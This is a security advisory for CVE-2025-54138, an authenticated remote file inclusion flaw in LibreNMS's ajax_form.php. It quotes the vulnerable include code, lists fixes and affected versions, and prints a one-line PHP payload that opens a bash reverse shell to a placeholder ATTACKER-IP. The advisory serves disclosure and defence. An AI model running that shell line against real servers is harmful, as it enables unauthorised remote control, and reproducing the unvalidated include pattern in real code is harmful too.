CVE-2025-54138
LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
Impact
LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. The application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting: ```php if (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) { include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php'; } ``` This pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities. > This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory. # Conditions for Exploitation - Attacker must be authenticated - Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink) # Example Impact (RCE) If a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context: ```php <?php system('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1"'); ?> ``` https://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812 --- # Recommended Fix - Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. - Avoid passing raw POST input into `include_once`. - Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| composer | librenms/librenms | < 25.7.0 | 25.7.0 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Librenms | Librenms | before 25.7.0 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81
- https://github.com/librenms/librenms/pull/17990
- https://github.com/librenms/librenms/releases/tag/25.7.0
- https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2
- https://github.com/advisories/GHSA-gq96-8w38-hhj2
- https://nvd.nist.gov/vuln/detail/CVE-2025-54138